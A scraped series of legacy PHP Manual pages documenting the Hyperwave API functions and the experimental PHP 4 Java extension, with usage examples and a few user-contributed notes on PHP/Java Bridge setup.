User Contributed Notes

There are no user contributed notes for this page.
hw_api::insertdocument
hw_api::lock
Hyperwave API Functions


Locks an object

hw_api::link
hw_api::move
Hyperwave API Functions
PHP Manual

hw_api::lock

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::lock — Locks an object

Description

bool hw_api::lock ( array $parameter )

Locks an object for exclusive editing by the user calling this function. The object can be only unlocked by this user or the system user.

Parameters

parameter

The parameter array contains the required element 'objectIdentifier' and the optional parameters 'mode' and 'objectquery'.

'mode' determines how an object is locked. HW_API_LOCK_NORMAL means, an object is locked until it is unlocked. HW_API_LOCK_RECURSIVE is only valid for collection and locks all objects within the collection and possible subcollections. HW_API_LOCK_SESSION means, an object is locked only as long as the session is valid.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • hw_api::unlock

User Contributed Notes

There are no user contributed notes for this page.
hw_api::link
hw_api::move
Hyperwave API Functions


Moves object between collections

hw_api::lock
hw_api::object
Hyperwave API Functions
PHP Manual

hw_api::move

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::move — Moves object between collections

Description

bool hw_api::move ( array $parameter )

Moves object between collections.

Parameters

parameter

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • hw_objrec2array() - Convert attributes from object record to object array

User Contributed Notes

There are no user contributed notes for this page.
hw_api::lock
hw_api::object
Hyperwave API Functions


Retrieve attribute information

hw_api::move
hw_api::objectbyanchor
Hyperwave API Functions
PHP Manual

hw_api::object

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::object — Retrieve attribute information

Description

hw_api_object hw_api::object ( array $parameter )

This function retrieves the attribute information of an object of any version. It will not return the document content.

Parameters

parameter

The parameter array contains the required elements 'objectIdentifier' and the optional elements 'attributeSelector' and 'version'.

Return Values

The returned object is an instance of class HW_API_Object on success or HW_API_Error if an error occurred.

Examples

This simple example retrieves an object and checks for errors.

Example #1 Retrieve an object

<?php
function handle_error($error)
{
  $reason = $error->reason(0);
  echo "Type: <b>";
  switch ($reason->type()) {
    case 0:
      echo "Error";
      break;
    case 1:
      echo "Warning";
      break;
    case 2:
      echo "Message";
      break;
  }
  echo "</b><br />\n";
  echo "Description: " . $reason->description("en") . "<br />\n";
}

function list_attr($obj)
{
  echo "<table>\n";
  $count = $obj->count();
  for ($i=0; $i<$count; $i++) {
    $attr = $obj->attribute($i);
    printf("<tr><td align=\"right\" bgcolor=\"#c0c0c0\"><b>%s</b></td><td bgcolor=\"#F0F0F0\">%s</td></tr>\n",
             $attr->key(), $attr->value());
  }
  echo "</table>\n";
}

$hwapi = hwapi_hgcsp($g_config[HOSTNAME]);
$parms = array("objectIdentifier"=>"rootcollection", "attributeSelector"=>array("Title", "Name", "DocumentType"));
$root = $hwapi->object($parms);
if (get_class($root) == "HW_API_Error") {
  handle_error($root);
  exit;
}
list_attr($root);
?>

See Also

  • hw_api::content

User Contributed Notes

There are no user contributed notes for this page.
hw_api::move
hw_api::objectbyanchor
Hyperwave API Functions


Returns the object an anchor belongs to

hw_api::object
hw_api::parents
Hyperwave API Functions
PHP Manual

hw_api::objectbyanchor

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::objectbyanchor — Returns the object an anchor belongs to

Description

hw_api_object hw_api::objectbyanchor ( array $parameter )

This function retrieves an object the specified anchor belongs to.

Parameters

parameter

The parameter array contains the required element 'objectIdentifier' and the optional element 'attributeSelector'.

Return Values

See Also

  • hw_api::dstofsrcanchor
  • hw_api::srcanchors
  • hw_api::dstanchors

User Contributed Notes

There are no user contributed notes for this page.
hw_api::object
hw_api::parents
Hyperwave API Functions


Returns parents of an object

hw_api::objectbyanchor
hw_api::remove
Hyperwave API Functions
PHP Manual

hw_api::parents

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::parents — Returns parents of an object

Description

array hw_api::parents ( array $parameter )

Retrieves the parents of an object. The parents can be further filtered by specifying an object query.

Parameters

parameter

The parameter array contains the required elements 'objectidentifier' and the optional elements 'attributeselector' and 'objectquery'.

Return Values

The return value is an array of objects of type HW_API_Object or HW_API_Error.

See Also

  • hw_api::children

User Contributed Notes

There are no user contributed notes for this page.
hw_api::objectbyanchor
hw_api::remove
Hyperwave API Functions


Delete an object

hw_api::parents
hw_api::replace
Hyperwave API Functions
PHP Manual

hw_api::remove

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::remove — Delete an object

Description

bool hw_api::remove ( array $parameter )

Removes an object from the specified parent. Collections will be removed recursively.

Parameters

parameter

You can pass an optional object query to remove only those objects which match the query. An object will be deleted physically if it is the last instance.

The parameter array contains the required elements 'objectidentifier' and 'parentidentifier'. If you want to remove a user or group 'parentidentifier' can be skipped.

The optional parameter 'mode' determines how the deletion is performed. In normal mode the object will not be removed physically until all instances are removed. In physical mode all instances of the object will be deleted immediately. In removelinks mode all references to and from the objects will be deleted as well. In nonrecursive the deletion is not performed recursive. Removing a collection which is not empty will cause an error.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • hw_api::move

User Contributed Notes

There are no user contributed notes for this page.
hw_api::parents
hw_api::replace
Hyperwave API Functions


Replaces an object

hw_api::remove
hw_api::setcommittedversion
Hyperwave API Functions
PHP Manual

hw_api::replace

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::replace — Replaces an object

Description

hw_api_object hw_api::replace ( array $parameter )

Replaces the attributes and the content of an object.

Parameters

parameter

The parameter array contains the required elements 'objectIdentifier' and 'object' and the optional parameters 'content', 'parameters', 'mode' and 'attributeSelector'. 'objectIdentifier' contains the object to be replaced. 'object' contains the new object. 'content' contains the new content. 'parameters' contain extra information for HTML documents. HTML_Language is the letter abbreviation of the language of the title. HTML_Base sets the base attribute of the HTML document.

'mode' can be a combination of the following flags:

HW_API_REPLACE_NORMAL
The object on the server is replace with the object passed.
HW_API_REPLACE_FORCE_VERSION_CONTROL
HW_API_REPLACE_AUTOMATIC_CHECKOUT
HW_API_REPLACE_AUTOMATIC_CHECKIN
HW_API_REPLACE_PLAIN
HW_API_REPLACE_REVERT_IF_NOT_CHANGED
HW_API_REPLACE_KEEP_TIME_MODIFIED

Return Values

See Also

  • hw_api::insert

User Contributed Notes

There are no user contributed notes for this page.
hw_api::remove
hw_api::setcommittedversion
Hyperwave API Functions


Commits version other than last version

hw_api::replace
hw_api::srcanchors
Hyperwave API Functions
PHP Manual

hw_api::setcommittedversion

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::setcommittedversion — Commits version other than last version

Description

hw_api_object hw_api::setcommittedversion ( array $parameter )

Commits a version of a document. The committed version is the one which is visible to users with read access. By default the last version is the committed version.

Parameters

parameter

Return Values

See Also

  • hw_api::checkin
  • hw_api::checkout

User Contributed Notes

There are no user contributed notes for this page.
hw_api::replace
hw_api::srcanchors
Hyperwave API Functions


Returns a list of all source anchors

hw_api::setcommittedversion
hw_api::srcsofdst
Hyperwave API Functions
PHP Manual

hw_api::srcanchors

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::srcanchors — Returns a list of all source anchors

Description

array hw_api::srcanchors ( array $parameter )

Retrieves all source anchors of an object.

Parameters

parameter

The parameter array contains the required element 'objectIdentifier' and the optional elements 'attributeSelector' and 'objectQuery'.

Return Values

See Also

  • hw_api::dstanchors

User Contributed Notes

There are no user contributed notes for this page.
hw_api::setcommittedversion
hw_api::srcsofdst
Hyperwave API Functions


Returns source of a destination object

hw_api::srcanchors
hw_api::unlock
Hyperwave API Functions
PHP Manual

hw_api::srcsofdst

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::srcsofdst — Returns source of a destination object

Description

array hw_api::srcsofdst ( array $parameter )

Retrieves all the source anchors pointing to the specified destination. The destination object can either be a destination anchor or a whole document.

Parameters

parameter

The parameters array contains the required element 'objectIdentifier' and the optional element 'attributeSelector' and 'objectQuery'. The function returns an array of objects or an error.

Return Values

See Also

  • hw_api::dstofsrcanchor

User Contributed Notes

There are no user contributed notes for this page.
hw_api::srcanchors
hw_api::unlock
Hyperwave API Functions


Unlocks a locked object

hw_api::srcsofdst
hw_api::user
Hyperwave API Functions
PHP Manual

hw_api::unlock

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::unlock — Unlocks a locked object

Description

bool hw_api::unlock ( array $parameter )

Unlocks a locked object. Only the user who has locked the object and the system user may unlock an object.

Parameters

parameter

The parameter array contains the required element 'objectIdentifier' and the optional parameters 'mode' and 'objectquery'. The meaning of 'mode' is the same as in function hwapi_lock().

Return Values

Returns TRUE on success or an object of class HW_API_Error.

See Also

  • hw_api::lock

User Contributed Notes

There are no user contributed notes for this page.
hw_api::srcsofdst
hw_api::user
Hyperwave API Functions


Returns the own user object

hw_api::unlock
hw_api::userlist
Hyperwave API Functions
PHP Manual

hw_api::user

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::user — Returns the own user object

Description

hw_api_object hw_api::user ( array $parameter )

Returns the own user object.

Parameters

parameter

Return Values

See Also

  • hw_api::userlist

User Contributed Notes

There are no user contributed notes for this page.
hw_api::unlock
hw_api::userlist
Hyperwave API Functions


Returns a list of all logged in users

hw_api::user
hw_api_attribute::key
Hyperwave API Functions
PHP Manual

hw_api::userlist

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::userlist — Returns a list of all logged in users

Description

array hw_api::userlist ( array $parameter )

Returns a list of all logged in users.

Parameters

parameter

Return Values

See Also

  • hw_api::user

User Contributed Notes

There are no user contributed notes for this page.
hw_api::user
hw_api_attribute::key
Hyperwave API Functions


Returns key of the attribute

hw_api::userlist
hw_api_attribute::langdepvalue
Hyperwave API Functions
PHP Manual

hw_api_attribute::key

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_attribute::key — Returns key of the attribute

Description

string hw_api_attribute::key ( void )

Returns the name of the attribute.

Return Values

Returns the name of the attribute as a string.

See Also

  • hw_api_attribute::value

User Contributed Notes

There are no user contributed notes for this page.
hw_api::userlist
hw_api_attribute::langdepvalue
Hyperwave API Functions


Returns value for a given language

hw_api_attribute::key
hw_api_attribute::value
Hyperwave API Functions
PHP Manual

hw_api_attribute::langdepvalue

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_attribute::langdepvalue — Returns value for a given language

Description

string hw_api_attribute::langdepvalue ( string $language )

Returns the value in the given language of the attribute.

Parameters

language

Return Values

Returns the value of the attribute as a string.

See Also

  • hw_api_attribute::value

User Contributed Notes

There are no user contributed notes for this page.
hw_api_attribute::key
hw_api_attribute::value
Hyperwave API Functions


Returns value of the attribute

hw_api_attribute::langdepvalue
hw_api_attribute::values
Hyperwave API Functions
PHP Manual

hw_api_attribute::value

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_attribute::value — Returns value of the attribute

Description

string hw_api_attribute::value ( void )

Gets the value of the attribute.

Return Values

Returns the value, as a string.

See Also

  • hw_api_attribute::key
  • hw_api_attribute::values

User Contributed Notes

There are no user contributed notes for this page.
hw_api_attribute::langdepvalue
hw_api_attribute::values
Hyperwave API Functions


Returns all values of the attribute

hw_api_attribute::value
hw_api_content::mimetype
Hyperwave API Functions
PHP Manual

hw_api_attribute::values

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_attribute::values — Returns all values of the attribute

Description

array hw_api_attribute::values ( void )

Gets all values of the attribute.

Return Values

Returns an array of attribute values.

See Also

  • hw_api_attribute::value

User Contributed Notes

There are no user contributed notes for this page.
hw_api_attribute::value
hw_api_content::mimetype
Hyperwave API Functions


Returns mimetype

hw_api_attribute::values
hw_api_content::read
Hyperwave API Functions
PHP Manual

hw_api_content::mimetype

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_content::mimetype — Returns mimetype

Description

string hw_api_content::mimetype ( void )

Returns the mimetype of the content.

Return Values

Returns the mimetype as a string.

User Contributed Notes

There are no user contributed notes for this page.
hw_api_attribute::values
hw_api_content::read
Hyperwave API Functions


Read content

hw_api_content::mimetype
hw_api_error::count
Hyperwave API Functions
PHP Manual

hw_api_content::read

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_content::read — Read content

Description

string hw_api_content::read ( string $buffer , int $len )

Reads len bytes from the content into the given buffer.

Parameters

buffer

len

Number of bytes to read.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
hw_api_content::mimetype
hw_api_error::count
Hyperwave API Functions


Returns number of reasons

hw_api_content::read
hw_api_error::reason
Hyperwave API Functions
PHP Manual

hw_api_error::count

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_error::count — Returns number of reasons

Description

int hw_api_error::count ( void )

Returns the number of error reasons.

Return Values

Returns the number of errors, as an integer.

See Also

  • hw_api_error::reason

User Contributed Notes

There are no user contributed notes for this page.
hw_api_content::read
hw_api_error::reason
Hyperwave API Functions


Returns reason of error

hw_api_error::count
hw_api_object::assign
Hyperwave API Functions
PHP Manual

hw_api_error::reason

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_error::reason — Returns reason of error

Description

HW_API_Reason hw_api_error::reason ( void )

Returns the first error reason.

Return Values

See Also

  • hw_api_error::count

User Contributed Notes

There are no user contributed notes for this page.
hw_api_error::count
hw_api_object::assign
Hyperwave API Functions


Clones object

hw_api_error::reason
hw_api_object::attreditable
Hyperwave API Functions
PHP Manual

hw_api_object::assign

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_object::assign — Clones object

Description

bool hw_api_object::assign ( array $parameter )

Clones the attributes of an object.

Parameters

parameter

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
hw_api_error::reason
hw_api_object::attreditable
Hyperwave API Functions


Checks whether an attribute is editable

hw_api_object::assign
hw_api_object::count
Hyperwave API Functions
PHP Manual

hw_api_object::attreditable

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_object::attreditable — Checks whether an attribute is editable

Description

bool hw_api_object::attreditable ( array $parameter )

Checks whether an attribute is editable.

Parameters

parameter

Return Values

Returns TRUE if the attribute is editable, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.
hw_api_object::assign
hw_api_object::count
Hyperwave API Functions


Returns number of attributes

hw_api_object::attreditable
hw_api_object::insert
Hyperwave API Functions
PHP Manual

hw_api_object::count

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_object::count — Returns number of attributes

Description

int hw_api_object::count ( array $parameter )

Returns the number of attributes.

Parameters

parameter

Return Values

Returns the number as an integer.

User Contributed Notes

There are no user contributed notes for this page.
hw_api_object::attreditable
hw_api_object::insert
Hyperwave API Functions


Inserts new attribute

hw_api_object::count
hw_api_object::remove
Hyperwave API Functions
PHP Manual

hw_api_object::insert

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_object::insert — Inserts new attribute

Description

bool hw_api_object::insert ( HW_API_Attribute $attribute )

Adds an attribute to the object.

Parameters

attribute

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • hw_api_object::remove

User Contributed Notes

There are no user contributed notes for this page.
hw_api_object::count
hw_api_object::remove
Hyperwave API Functions


Removes attribute

hw_api_object::insert
hw_api_object::title
Hyperwave API Functions
PHP Manual

hw_api_object::remove

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_object::remove — Removes attribute

Description

bool hw_api_object::remove ( string $name )

Removes the attribute with the given name.

Parameters

name

The attribute name.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • hw_api_object::insert

User Contributed Notes

There are no user contributed notes for this page.
hw_api_object::insert
hw_api_object::title
Hyperwave API Functions


Returns the title attribute

hw_api_object::remove
hw_api_object::value
Hyperwave API Functions
PHP Manual

hw_api_object::title

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_object::title — Returns the title attribute

Description

string hw_api_object::title ( array $parameter )

Returns the title attribute.

Parameters

parameter

Return Values

Returns the title as a string.

User Contributed Notes

There are no user contributed notes for this page.
hw_api_object::remove
hw_api_object::value
Hyperwave API Functions


Returns value of attribute

hw_api_object::title
hw_api_reason::description
Hyperwave API Functions
PHP Manual

hw_api_object::value

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_object::value — Returns value of attribute

Description

string hw_api_object::value ( string $name )

Returns value of an attribute.

Parameters

name

The attribute name.

Return Values

Returns the value of the attribute with the given name or FALSE if an error occurred.

User Contributed Notes

There are no user contributed notes for this page.
hw_api_object::title
hw_api_reason::description
Hyperwave API Functions


Returns description of reason

hw_api_object::value
hw_api_reason::type
Hyperwave API Functions
PHP Manual

hw_api_reason::description

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_reason::description — Returns description of reason

Description

string hw_api_reason::description ( void )

Returns the description of a reason

Return Values

Returns the description, as a string.

User Contributed Notes

There are no user contributed notes for this page.
hw_api_object::value
hw_api_reason::type
Hyperwave API Functions


Returns type of reason

hw_api_reason::description
hwapi_attribute_new
Hyperwave API Functions
PHP Manual

hw_api_reason::type

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_reason::type — Returns type of reason

Description

HW_API_Reason hw_api_reason::type ( void )

Returns the type of a reason.

Return Values

Returns an instance of HW_API_Reason.

User Contributed Notes

There are no user contributed notes for this page.
hw_api_reason::description
hwapi_attribute_new
Hyperwave API Functions


Creates instance of class hw_api_attribute

hw_api_reason::type
hwapi_content_new
Hyperwave API Functions
PHP Manual

hwapi_attribute_new

(No version information available, might only be in SVN)

hwapi_attribute_new — Creates instance of class hw_api_attribute

Description

HW_API_Attribute hwapi_attribute_new ([ string $name [, string $value ]] )

Creates a new instance of hw_api_attribute with the given name and value.

Parameters

name

The attribute name.

value

The attribute value.

Return Values

Returns an instance of hw_api_attribute.

User Contributed Notes

There are no user contributed notes for this page.
hw_api_reason::type
hwapi_content_new
Hyperwave API Functions


Create new instance of class hw_api_content

hwapi_attribute_new
hwapi_hgcsp
Hyperwave API Functions
PHP Manual

hwapi_content_new

(No version information available, might only be in SVN)

hwapi_content_new — Create new instance of class hw_api_content

Description

HW_API_Content hwapi_content_new ( string $content , string $mimetype )

Creates a new content object from the string content.

Parameters

content

mimetype

The mimetype for the contents.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
hwapi_attribute_new
hwapi_hgcsp
Hyperwave API Functions


Returns object of class hw_api

hwapi_content_new
hwapi_object_new
Hyperwave API Functions
PHP Manual

hwapi_hgcsp

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hwapi_hgcsp — Returns object of class hw_api

Description

HW_API hwapi_hgcsp ( string $hostname [, int $port ] )

Opens a connection to the Hyperwave server on host hostname. The protocol used is HGCSP.

Parameters

hostname

The host name.

port

If you do not pass a port number, 418 is used.

Return Values

Returns an instance of HW_API.

User Contributed Notes

There are no user contributed notes for this page.
hwapi_content_new
hwapi_object_new
Hyperwave API Functions


Creates a new instance of class hwapi_object_new

hwapi_hgcsp
Java
Hyperwave API Functions
PHP Manual

hwapi_object_new

(No version information available, might only be in SVN)

hwapi_object_new — Creates a new instance of class hwapi_object_new

Description

hw_api_object hwapi_object_new ( array $parameter )

Creates a new instance of the class hw_api_object.

Parameters

parameter

Return Values

See Also

  • hw_api::lock

User Contributed Notes

There are no user contributed notes for this page.
hwapi_hgcsp
Java
Hyperwave API Functions


PHP / Java Integration

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Java Servlet SAPI
  • Examples
    • Basic usage
  • Java Functions
    • java_last_exception_clear — Clear last Java exception
    • java_last_exception_get — Get last Java exception

User Contributed Notes

Anonymous 03-Mar-2010 09:00
This extension is for PHP 4 only.

If you need Java integration in PHP 5 or PHP 6, there is the Java bridge of Zend Server:

  http://www.zend.com/en/products/server-ce/

and "PHP/Java Bridge":

  http://php-java-bridge.sourceforge.net/pjb/
hwapi_object_new
Introduction
Other Services


Introduction

There are two possible ways to bridge PHP and Java: you can either integrate PHP into a Java Servlet environment, which is the more stable and efficient solution, or integrate Java support into PHP. The former is provided by a SAPI module that interfaces with the Servlet server, the latter by this Java extension.

The Java extension provides a simple and effective means for creating and invoking methods on Java objects from PHP. The JVM is created using JNI, and everything runs in-process.

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
Java
Installing/Configuring
Java


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Java


Requirements

You need a Java VM installed on your machine to use this extension.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This extension is considered unmaintained and dead. However, the source code for this extension is still available within PECL SVN here: » http://svn.php.net/viewvc/pecl/java.

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.0.0

Note: PHP 4 specific notes

In PHP 4 this PECL extensions source can be found in the ext/ directory within the PHP source or at the PECL link above. In order to use these functions you must compile PHP with Java support by using the --with-java[=DIR] where DIR points to the base install directory of your JDK. This extension can only be built as a shared extension. Additional build instructions can be found in php-src/ext/java/README.

Windows users will enable php_java.dll inside of php.ini in order to use these functions. In PHP 4 this DLL resides in the extensions/ directory within the PHP Windows binaries download.

In order to enable this module on a Windows environment with PHP <= 4.0.6, you must make jvm.dll available to your systems PATH. No additional DLL is needed for PHP versions > 4.0.6.

User Contributed Notes

arnold at adaniels dot nl 22-Jul-2009 10:16
This extension doesn't seem to exist for PHP5.

If you need Java integration in PHP 5, there is the Java bridge of Zend Server (http://www.zend.com/en/products/server-ce/) and PJB (http://php-java-bridge.sourceforge.net/pjb/).
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Java configuration options
Name | Default | Changeable | Changelog
java.class.path | NULL | PHP_INI_ALL |
java.home | NULL | PHP_INI_ALL |
java.library.path | NULL | PHP_INI_ALL |
java.library | JAVALIB | PHP_INI_ALL |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Java Servlet SAPI
Java


Java Servlet SAPI

The Java Servlet SAPI builds upon the mechanism defined by the Java extension to enable the entire PHP processor to be run as a servlet. The primary advantage of this from a PHP perspective is that web servers which support servlets typically take great care in pooling and reusing JVMs. Build instructions for the Servlet SAPI module can be found in php4/sapi/README. Notes:

  • While this code is intended to be able to run on any servlet engine, it has only been tested on Apache's Jakarta/tomcat to date. Bug reports, success stories and/or patches required to get this code to run on other engines would be appreciated.
  • PHP has a habit of changing the working directory. sapi/servlet will eventually change it back, but while PHP is running the servlet engine may not be able to load any classes from the CLASSPATH which are specified using a relative directory syntax, or find the work directory used for administration and JSP compilation tasks.

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Examples
Java


Examples

Table of Contents

  • Basic usage

User Contributed Notes

anto dot justus at gmail dot com 10-Jun-2009 10:18
Java - php class

Third-party classes are used within a PHP application,
 I'll create a simple Java class that calculates
sales tax based upon a price and taxation rate
input by the user.

You'll need to compile salesTax.java using
the Java compiler before you can use this class
within the PHP script

import java.util.*;
import java.text.*;

public class SalesTax {

public String SalesTax(double price, double salesTax)
{

    double tax = price * salesTax;

    NumberFormat numberFormatter;

    numberFormatter = NumberFormat.getCurrencyInstance();

    String priceOut = numberFormatter.format(price);

    String taxOut = numberFormatter.format(tax);

    numberFormatter = NumberFormat.getPercentInstance();

    String salesTaxOut =
numberFormatter.format(salesTax);

    String str = "A sales Tax of " + salesTaxOut +

                 " on " + priceOut + " equals " + taxOut + ".";

    return str;

    }

}

file named salesTax.java, you'll need to compile it.

a new, compiled file named salesTax.class
 will be created.

This is the compiled code that will be called by
PHP to perform the calculation based on the data
 input by the user via an HTML form.

salesTaxInterface.php

<?php

// Format the HTML form.

$salesTaxForm = <<<SalesTaxForm

<form action="SalesTaxInterface.php" method="post">

   Price (ex. 42.56):<br>

   <input type="text" name="price" size="15" maxlength="15" value=""><br>

   Sales Tax rate (ex. 0.06):<br>

   <input type="text" name="tax" size="15" maxlength="15" value=""><br>

   <input type="submit" name="submit"
value="Calculate!">

   </form>

SalesTaxForm;

if (! isset($submit)) :

   echo $salesTaxForm;

else :

   // Instantiate the SalesTax class.
   $salesTax = new Java("SalesTax");

   // Don't forget to typecast in order to

   // conform with the Java method specifications.

   $price = (double) $price;
   $tax = (double) $tax;

   print $salesTax->SalesTax($price, $tax);

endif;

?>

Troubleshooting

Chances are you will encounter various
minor problems when you first attempt to integrate
Java and PHP functionality, particularly if you are a
relative newcomer to the Java programming
environment. Even if the Java code compiles
correctly, you may still encounter problems,
largely due to differences found between the
two languages.

two of these differences here:

Data types

PHP is a loosely-typed language, which means it is
 rather lenient on the way variables are used.
On the contrary, Java is a strongly-typed language,
 which means that its policies for handling
variables and data types are rather stringent.
To illustrate the problem this difference poses,
take a moment to again review the code.
 Notice that I had to typecast the $price and
$tax variables before passing them to the
SalesTax() method, because this
method requires that both input parameters
 are of type "double." If this is not done, then
 input such as 24 for price would cause an
 error to occur.

Furthermore, if you are not adamant in
ensuring the correct data types are passed
to the Java methods, you may receive
unexpected results, although it will not be
outwardly apparent that an error has occurred.
 Therefore, be careful!

Error reporting

Errors occurring within a PHP script are reported
 in accordance with the level of error-reporting
 specified in the php.ini file. Because the
Java code is called from within the PHP script,
any errors that arise from the Java code are
displayed as PHP errors. If you would like to
 prevent these errors from being displayed
to the browser, simply prefix a @ symbol to
 the PHP command.
anto dot justus at gmail dot com 10-Jun-2009 09:01
PHP JavaBridge to work with PHP5 -  windows server:

steps:

1- Install Java J2EE 1.5 + JDK 1.4 (which includes application server/deploy tool/etc...)
2- download pecl-5.0.5-Win32.zip and php-java-bridge_2.0.8.zip, which will include
extra dll(s)
   - unpack pecl pkg to your extensions folder, in PHP5 its ext.
   - unpack java-Bridge to root php folder, in my case its simply C:\PHP
   Note: the java-Bridge inculdes new versions of certain files like php_java.dll
   so, it would be wise to rename your old files that came with PECL pkg for example
   file_old, to rollback at anytime.

In order to deploy/test Java-Bridge .war onto your java application server follow these steps

http://cvs.sourceforge.net/viewcvs.py/php-java-bridge/php-java-bridge/
INSTALL.WINDOWS?view=markup

Note: move JavaBridge.jar to your extensions folder. and in test.php file that came
with Java-Brdige package change line java_require("test/arrayToString.jar");
to java_require("tests.php4/arrayToString.jar");

Add the following to your php.ini file and restart server:-
java.classpath = "location of JavaBridge.jar file...i.e. to your PHP extensions folder\
JavaBridge.jar,also any other extra java files that you'll be instanciating using your php script"
java.java_home = "location of jdk\bin"
java.libpath = "location of php_java.dll file...i.e. also to your PHP extensions folder"

This example uses the PHP/Java Bridge to connect to a SOAP service.
////////////////////////////////////////////////////////////////////

#!/bin/env php
<?php

require_once("java/Java.inc");

include("wsimport.php");

try {
  $addNumbersService = new java("org.duke.AddNumbersService");
  $port = $addNumbersService->getAddNumbersPort();
  $number1 = 10;
  $number2 = 20;
  echo ("Invoking one-way operation. Nothing is returned from service.\n");
  $port->oneWayInt($number1);
  echo ("Invoking addNumbers($number1, $number2)\n");
  $result = $port->addNumbers($number1, $number2);
  echo ("The result of adding $number1 and $number2 is $result\n\n");
  $number1 = -10;
  echo ("Invoking addNumbers($number1, $number2)\n");
  $result = $port->addNumbers($number1, $number2);
  echo ("The result of adding $number1 and $number2 is $result\n\n");
} catch (JavaException $ex) {
  $ex = $ex->getCause();
  if (java_instanceof($ex, java("org.duke.AddNumbersFault_Exception"))) {
    $info = $ex->getFaultInfo()->getFaultInfo ();
    echo ("Caught AddNumbersFault_Exception: $ex, INFO: $info.\n");
  } else {
    echo ("Exception occured: $ex\n");
  }
}
?>
Java Servlet SAPI
Basic usage
Java


Basic usage

Example #1 Java Example

<?php
// get instance of Java class java.lang.System in PHP
$system = new Java('java.lang.System');

// demonstrate property access
echo 'Java version=' . $system->getProperty('java.version') . '<br />';
echo 'Java vendor=' . $system->getProperty('java.vendor') . '<br />';
echo 'OS=' . $system->getProperty('os.name') . ' ' .
             $system->getProperty('os.version') . ' on ' .
             $system->getProperty('os.arch') . ' <br />';

// java.util.Date example
$formatter = new Java('java.text.SimpleDateFormat',
                      "EEEE, MMMM dd, yyyy 'at' h:mm:ss a zzzz");

echo $formatter->format(new Java('java.util.Date'));
?>

Example #2 AWT Example

<?php
// This example is only intended to be run using the CLI.

$frame  = new Java('java.awt.Frame', 'PHP');
$button = new Java('java.awt.Button', 'Hello Java World!');

$frame->add('North', $button);
$frame->validate();
$frame->pack();
$frame->visible = True;

$thread = new Java('java.lang.Thread');
$thread->sleep(10000);

$frame->dispose();
?>
Notes:
  • new Java() will create an instance of a class if a suitable constructor is available. If no parameters are passed and the default constructor is useful as it provides access to classes like java.lang.System which expose most of their functionality through static methods.
  • Accessing a member of an instance will first look for bean properties then public fields. In other words, print $date.time will first attempt to be resolved as $date.getTime(), then as $date.time.
  • Both static and instance members can be accessed on an object with the same syntax. Furthermore, if the java object is of type java.lang.Class, then static members of the class (fields and methods) can be accessed.

  • Exceptions raised result in PHP warnings, and NULL results. The warnings may be eliminated by prefixing the method call with an "@" sign. The following APIs may be used to retrieve and reset the last error:

    • java_last_exception_get()
    • java_last_exception_clear()

